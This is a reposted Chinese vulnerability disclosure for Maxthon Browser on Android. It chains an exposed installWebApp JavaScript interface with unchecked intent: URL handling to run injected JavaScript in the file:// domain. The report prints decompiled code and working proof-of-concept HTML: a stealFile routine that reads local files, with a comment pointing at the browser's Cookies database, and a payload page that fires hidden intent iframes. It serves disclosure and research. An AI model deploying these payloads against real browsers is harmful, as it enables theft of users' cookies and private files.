神刀安全网

漏洞标题: 傲游浏览器Android 版可远程注入js 代码到file 域获取用户敏感信息

漏洞详情

披露状态:

2016-03-22: 细节已通知厂商并且等待厂商处理中
2016-03-22: 厂商已经确认,细节仅向厂商公开
2016-03-25: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-05-16: 细节向核心白帽子及相关领域专家公开
2016-05-26: 细节向普通白帽子公开
2016-06-05: 细节向实习白帽子公开
2016-06-20: 细节向公众公开

简要描述:

傲游浏览器两处漏洞组合可以把JS 代码注入到file 域,获取用户敏感信息..

详细说明:

第一处漏洞,浏览器接口没有合理判断可以调用的域,可以利用这个接口下载任意文件

code 区域
代码路径:com/mx/jsobject/JsObjMxBrowser.class

@JavascriptInterface
public void installWebApp(String paramString)
{
String str = t.a(paramString);
p.a(paramString, "/sdcard/webapp/" + str, null);
u.b("/sdcard/webapp/" + str);
d.b().a();
Toast.makeText(this.mContext, "webapp installed", 1).show();
}

接口将会从指定远程URL 中下载ZIP 解压包然后把数据释放到SD 卡中的webapp 中,如果没有插入SD 卡,那就会把文件释放到设备储存中

Download PoC :

code 区域
function install() {
mmbrowser.installWebApp('http://**.**.**.**/test.zip');
};
install();

使用效果

1.运行页面

漏洞标题:  傲游浏览器Android 版可远程注入js 代码到file 域获取用户敏感信息

2.webapp 文件夹内的数据

漏洞标题:  傲游浏览器Android 版可远程注入js 代码到file 域获取用户敏感信息

漏洞标题:  傲游浏览器Android 版可远程注入js 代码到file 域获取用户敏感信息

第二处漏洞,使用浏览器的intent 协议让窗口打开下载好的文件

code 区域
代码路径:com/mx/browser/MxBrowserActivity.class

if ((paramString.startsWith("intent:")) || (paramString.startsWith("#Intent;")))
{
paramString = com.mx.browser.f.o.a(paramString);
if (paramString == null) {
break label924;
}
try
{
startActivity(paramString);
return true;
}
catch (ActivityNotFoundException paramString)
{
for (;;)
{
paramString.printStackTrace();
}
}
}

...

public static Intent a(String paramString)
{
int k = 0;
int j = 1;
Intent localIntent = null;
int i;
if (paramString.startsWith("intent:")) {
i = 1;
}
for (;;)
{
if (j != 0) {}
try
{
localIntent = Intent.parseUri(paramString, i);
return localIntent;
}
catch (URISyntaxException paramString)
{
paramString.printStackTrace();
}
i = k;
if (!paramString.startsWith("#Intent;"))
{
j = 0;
i = k;
}
}
return null;
}

测试intent PoC :

code 区域
<iframe width="0" height="0" src="intent:http://**.**.**.**/#Intent;component=com.mx.browser/com.mx.browser.MxBrowserActivity;end"></iframe>

测试intent PoC 执行效果

未执行intent PoC 之前:

漏洞标题:  傲游浏览器Android 版可远程注入js 代码到file 域获取用户敏感信息

执行intent PoC 之后:

漏洞标题:  傲游浏览器Android 版可远程注入js 代码到file 域获取用户敏感信息

于是测试一下打开刚才用installapp 接口下载到本地的文件,顺利执行:

漏洞标题:  傲游浏览器Android 版可远程注入js 代码到file 域获取用户敏感信息

漏洞证明:

漏洞完整的利用过程如下:

第一步,构造好exploit.html ,让exploit.html 去读那些感兴趣的文件(为了方便测试,就读取文件自身的数据):

code 区域
<html>
<script>
alert(123);

function stealFile(file) {
var xmlHttpReq = new XMLHttpRequest();
xmlHttpReq.onreadystatechange = function(){ if(xmlHttpReq.readyState == 4){ alert(xmlHttpReq.responseText); } };
xmlHttpReq.open("GET", file);
xmlHttpReq.send(null);
};
stealFile('file:///storage/sdcard/webapp/test/test.html');//file:///data/data/com.mx.browser/app_webview/Cookies</script>

test
</html>

然后用ZIP 把exploit.html 打包

接下来写payload.html ,这部分主要是让浏览器下载exploit.html 到本地然后执行

code 区域
<html>
<script>
function install() {
mmbrowser.installWebApp('http://**.**.**.**/test.zip');
};
function open_tab_js_in_sdcard() {
document.write('<iframe width="0" height="0" src="intent:file:///storage/sdcard/webapp/test/test.html#Intent;component=com.mx.browser/com.mx.browser.MxBrowserActivity;end"></iframe>');
};
function open_tab_js_in_device() {
document.write('<iframe width="0" height="0" src="intent:file:///storage/webapp/test/test.html#Intent;component=com.mx.browser/com.mx.browser.MxBrowserActivity;end"></iframe>');
};
install();
setTimeout(function(){},3000); // 等待要注入的js 代码解压缩之后用浏览器新建标签打开
open_tab_js_in_sdcard();
open_tab_js_in_device();
</script>
</html>

测试URL:http://**.**.**.**/Maxthon_Android_Browser_InjectJSToFile.html

漏洞证明:

漏洞标题:  傲游浏览器Android 版可远程注入js 代码到file 域获取用户敏感信息

漏洞标题:  傲游浏览器Android 版可远程注入js 代码到file 域获取用户敏感信息

浏览器版本:

漏洞标题:  傲游浏览器Android 版可远程注入js 代码到file 域获取用户敏感信息

漏洞标题:  傲游浏览器Android 版可远程注入js 代码到file 域获取用户敏感信息

因为对android 的目录不太熟悉,所以测试都是在BlueStacks 下测试的.真实的漏洞在手机上测试也存在问题,但是目录没有填对所以没有正确执行.

漏洞标题:  傲游浏览器Android 版可远程注入js 代码到file 域获取用户敏感信息

漏洞标题:  傲游浏览器Android 版可远程注入js 代码到file 域获取用户敏感信息

修复方案:

版权声明:转载请注明来源 Fremy@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 傲游浏览器Android 版可远程注入js 代码到file 域获取用户敏感信息

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址